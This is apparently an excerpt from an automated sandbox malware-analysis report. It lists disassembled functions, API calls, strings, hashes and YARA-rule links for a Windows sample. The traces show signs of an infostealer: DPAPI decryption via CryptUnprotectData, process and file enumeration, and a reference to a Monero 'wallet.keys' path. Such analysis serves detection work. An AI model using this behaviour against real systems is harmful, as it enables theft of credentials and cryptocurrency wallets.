Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: e73e25329df65229efbd1f45b8b2203ad53131c6f514940ad4036dadae5bfe9b
Instruction ID: b0e82eed31aee7e7680a4abe964f98d3b56dd14bc47710aeb22c3be096e78353
Opcode Fuzzy Hash: e73e25329df65229efbd1f45b8b2203ad53131c6f514940ad4036dadae5bfe9b
Instruction Fuzzy Hash: A71244729101249BDB1CFB60EC9AEED73B9AF94300F4455B9F50A72081EE745F89CB92

Function 011E4039 Relevance: 9.1, Strings: 6, Instructions: 1624COMMON

Download Yara Rule

Strings

Jf:, xrefs: 011E4CAF
]O?, xrefs: 011E42AE
"j?, xrefs: 011E41BF
pW}, xrefs: 011E44C1
*_:, xrefs: 011E43CC
l_%[, xrefs: 011E4AE7

Memory Dump Source

Source File: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID:
String ID: "j?$*_:$l_%[$pW}$Jf:$]O?
API String ID: 0-1442580323
Opcode ID: 3a2ca93748d25c859b37276daeaf831aece83628a36dcc6ea9594e1eee836a74
Instruction ID: 5df29a32fb7621c60cc5a781d940911e2046aa697ff19ed4db771a523c5a6023
Opcode Fuzzy Hash: 3a2ca93748d25c859b37276daeaf831aece83628a36dcc6ea9594e1eee836a74
Instruction Fuzzy Hash: 43B248F360C2049FE3086E2DEC8567AFBE9EF94320F1A453DEAC5C3744EA3558058696

Function 011D35B9 Relevance: 9.1, Strings: 6, Instructions: 1596COMMON

Download Yara Rule

Strings

jHj~, xrefs: 011D4358
cIwy, xrefs: 011D4801
Ryug, xrefs: 011D481B
xu, xrefs: 011D415A
O_Z, xrefs: 011D3C66
Ryug, xrefs: 011D483A

Memory Dump Source

Source File: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID:
String ID: O_Z$Ryug$Ryug$cIwy$jHj~$xu
API String ID: 0-1463951730
Opcode ID: b15bce1063b4359fdee5453c75fb5fa91816f6ce0c197a0d8298c3c9a342aa75
Instruction ID: 7e52ab14d943e988b636a9bf31ec7f71387dbaf2f0b51c3f124ba36072ecbd63
Opcode Fuzzy Hash: b15bce1063b4359fdee5453c75fb5fa91816f6ce0c197a0d8298c3c9a342aa75
Instruction Fuzzy Hash: 31B207F3A0C2049FE304AE2DEC8567ABBE5EF94720F16853DE6C4C7744EA3598058796

Function 00E19AC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N,00000000,00000000), ref: 00E19AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00E14EEE,00000000,?), ref: 00E19B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N,00000000,00000000), ref: 00E19B2A
LocalFree.KERNEL32(?,?,?,?,00E14EEE,00000000,?), ref: 00E19B3F

Strings

N, xrefs: 00E19AD4, 00E19AE1, 00E19AF9, 00E19B18, 00E19AE4, 00E19B1B

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: N
API String ID: 4291131564-1689755984
Opcode ID: b5b86d994aa39b69406a612238308a80e1d2a5e87477b0728e4c2359ddaad57d
Instruction ID: dd92deb803cbe342aaab0d2b65ebaca6d83ac45dab9d149d792b2a7aa048e14f
Opcode Fuzzy Hash: b5b86d994aa39b69406a612238308a80e1d2a5e87477b0728e4c2359ddaad57d
Instruction Fuzzy Hash: C811A2B4240308EFEB10CF64D895FAA77B5FB89B04F208559FA159B384C7B6A941CB94

Function 011E245E Relevance: 7.9, Strings: 5, Instructions: 1656COMMON

Download Yara Rule

Strings

v8g, xrefs: 011E36CC
pzz, xrefs: 011E25AA
Gkoj, xrefs: 011E2F21
v8g, xrefs: 011E36DA
/|w, xrefs: 011E2946

Memory Dump Source

Source File: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID:
String ID: /|w$Gkoj$v8g$v8g$pzz
API String ID: 0-1436474391
Opcode ID: abe2b22a790955a32b6ac8659db3d7c304e58102f37302be69b9b265fa69722e
Instruction ID: 7b27cc8ec14b4b237fe80a3fc9b0b553d64a3de977fd8ff466499757438212b3
Opcode Fuzzy Hash: abe2b22a790955a32b6ac8659db3d7c304e58102f37302be69b9b265fa69722e
Instruction Fuzzy Hash: 6FB20BF3A0C2109FE304AE29EC8567AB7E9EFD4720F1A853DE6C5C7744E63598018796

Function 011D9F77 Relevance: 7.8, Strings: 5, Instructions: 1599COMMON

Download Yara Rule

Strings

B>^, xrefs: 011DB0D1
7P:?, xrefs: 011DA492
YQwv, xrefs: 011DA2A7
B>^, xrefs: 011DB0DF
*{oo, xrefs: 011DA480

Memory Dump Source

Source File: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID:
String ID: *{oo$7P:?$YQwv$B>^$B>^
API String ID: 0-941376645
Opcode ID: 509d138357f551ef23c9f202818c722f39b0b385ed9306a08b923bb5c4514407
Instruction ID: 3aca75b2f71f2321791caba94fb9f1d0936932b5585ed79aa705eb0a038e9c7c
Opcode Fuzzy Hash: 509d138357f551ef23c9f202818c722f39b0b385ed9306a08b923bb5c4514407
Instruction Fuzzy Hash: 6EB2F9F3608214AFE304AE2DEC8567AFBE9EF94720F16493DEAC5C3744E63558018697

Function 011DD404 Relevance: 7.8, Strings: 5, Instructions: 1580COMMON

Download Yara Rule

Strings

\}W_, xrefs: 011DDAC5
e1~W, xrefs: 011DE12C
:mg, xrefs: 011DE014
+`?>, xrefs: 011DE387
l^C:, xrefs: 011DD530

Memory Dump Source

Source File: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID:
String ID: +`?>$:mg$\}W_$e1~W$l^C:
API String ID: 0-1207566776
Opcode ID: dd3f6aa3b4523c18cacdaeea847aa6cc45b3c233637272cd03a7ae89aa3bff1b
Instruction ID: b8ad2653ae1d3b93fa3deb1eaefb7fc45217ae9aad8e8abe245ff2712dba6117
Opcode Fuzzy Hash: dd3f6aa3b4523c18cacdaeea847aa6cc45b3c233637272cd03a7ae89aa3bff1b
Instruction Fuzzy Hash: 66B2F6F3A0C2009FE304AE2DEC8577ABBE9EF94320F16493DE6C5C7744E63598458696

Function 011D6A30 Relevance: 7.8, Strings: 5, Instructions: 1548COMMON

Download Yara Rule

Strings

7' , xrefs: 011D781B
"H}m, xrefs: 011D79C1
~o>p, xrefs: 011D6AF9
ebc, xrefs: 011D73F6
ebc, xrefs: 011D7405

Memory Dump Source

Source File: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID:
String ID: "H}m$ebc$ebc$~o>p$7'
API String ID: 0-1202201637
Opcode ID: 80ba30a4ea9a271afb11e26ba4bd3e88770e15433481262ce1f068b03cced8b6
Instruction ID: 51e19a52173a33fc4229f3d8ed338b263d8806f5e527ae7309ebad9c2b612722
Opcode Fuzzy Hash: 80ba30a4ea9a271afb11e26ba4bd3e88770e15433481262ce1f068b03cced8b6
Instruction Fuzzy Hash: DBA215F350C2009FE304AE29EC8567AFBE9EF94720F16893DEAC5C7744EA3558058697

Function 00E1C820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00E1C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00E1C87C
lstrcat.KERNEL32(?,00E30B46), ref: 00E1C943
lstrcat.KERNEL32(?,00E30B47), ref: 00E1C957
lstrcat.KERNEL32(?,00E30B4E), ref: 00E1C978

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: cf1907f4be6eae0bff3a15f5a12068198b86c257a43d4a7e46305e83052fc1c9
Instruction ID: daac1467b140991a9cb0d0cd7e7f4ba1d961e79bed49083a3c34314a69a33d7a
Opcode Fuzzy Hash: cf1907f4be6eae0bff3a15f5a12068198b86c257a43d4a7e46305e83052fc1c9
Instruction Fuzzy Hash: 78416DB4A0431ADBDB10DF90DD89BFFB7B8AB88304F1042A8E509B7280D7755A84CF91

Function 011E79ED Relevance: 7.6, Strings: 5, Instructions: 1318COMMON

Download Yara Rule

Strings

!Wo_, xrefs: 011E8681
eJk, xrefs: 011E8609
Ci?, xrefs: 011E8064
!Wo_, xrefs: 011E863F
Auy{, xrefs: 011E86D0

Memory Dump Source

Source File: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID:
String ID: !Wo_$!Wo_$Auy{$Ci?$eJk
API String ID: 0-3732368636
Opcode ID: adb80f3a428c6016a2731070dc922afc74ff1966394e8f0d1f94a285381ad60b
Instruction ID: 10dce0058d218d0e3fcca9b90a792f7629637de2fa2880180f4f1cb5414b33fc
Opcode Fuzzy Hash: adb80f3a428c6016a2731070dc922afc74ff1966394e8f0d1f94a285381ad60b
Instruction Fuzzy Hash: A49228F3A0C2049FE3046E2DEC8567ABBE9EF94720F1A453DEAC4C3744E63558158697

Function 00E17240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 00E1724D
RtlAllocateHeap.NTDLL(00000000), ref: 00E17254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00E17281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 00E172A4
LocalFree.KERNEL32(?), ref: 00E172AE

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: c76a8c59ddf82d3e32218f5c11a416dca6fabe65b6c285fac9de259f13d7c803
Instruction ID: 1f507e54bb8eb10b0e26aadc89155e5b318816fd1d3b2a2f007bacdb9c5fda64
Opcode Fuzzy Hash: c76a8c59ddf82d3e32218f5c11a416dca6fabe65b6c285fac9de259f13d7c803
Instruction Fuzzy Hash: 0301E9B5B40308BBEB20DB94CD4AFAE77B8AB44B04F104154FB45BB2C4D6B5AA018B65

Function 00E29600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00E2961E
Process32First.KERNEL32(00E30ACA,00000128), ref: 00E29632
Process32Next.KERNEL32(00E30ACA,00000128), ref: 00E29647
StrCmpCA.SHLWAPI(?,00000000), ref: 00E2965C
CloseHandle.KERNEL32(00E30ACA), ref: 00E2967A

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 58c2ca9929fc9ed6f161ce61129773d3153e23ad6b2859200a009c46c31b5a93
Instruction ID: 2c755bca91abbb9524114ce39a9a75a54dd2188fd8d5579ea7aeabb70a2bdf4b
Opcode Fuzzy Hash: 58c2ca9929fc9ed6f161ce61129773d3153e23ad6b2859200a009c46c31b5a93
Instruction Fuzzy Hash: DE011E75A00318EBCB24DFA5D948BEEBBF8FF48700F105288A94AA7240D7399B44CF50

Function 00E28680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 00E2A740: lstrcpy.KERNEL32(00E30E17,00000000), ref: 00E2A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00E305B7), ref: 00E286CA
Process32First.KERNEL32(?,00000128), ref: 00E286DE
Process32Next.KERNEL32(?,00000128), ref: 00E286F3

Part of subcall function 00E2A9B0: lstrlen.KERNEL32(?,008F8B80,?,\Monero\wallet.keys,00E30E17), ref: 00E2A9C5
Part of subcall function 00E2A9B0: lstrcpy.KERNEL32(00000000), ref: 00E2AA04
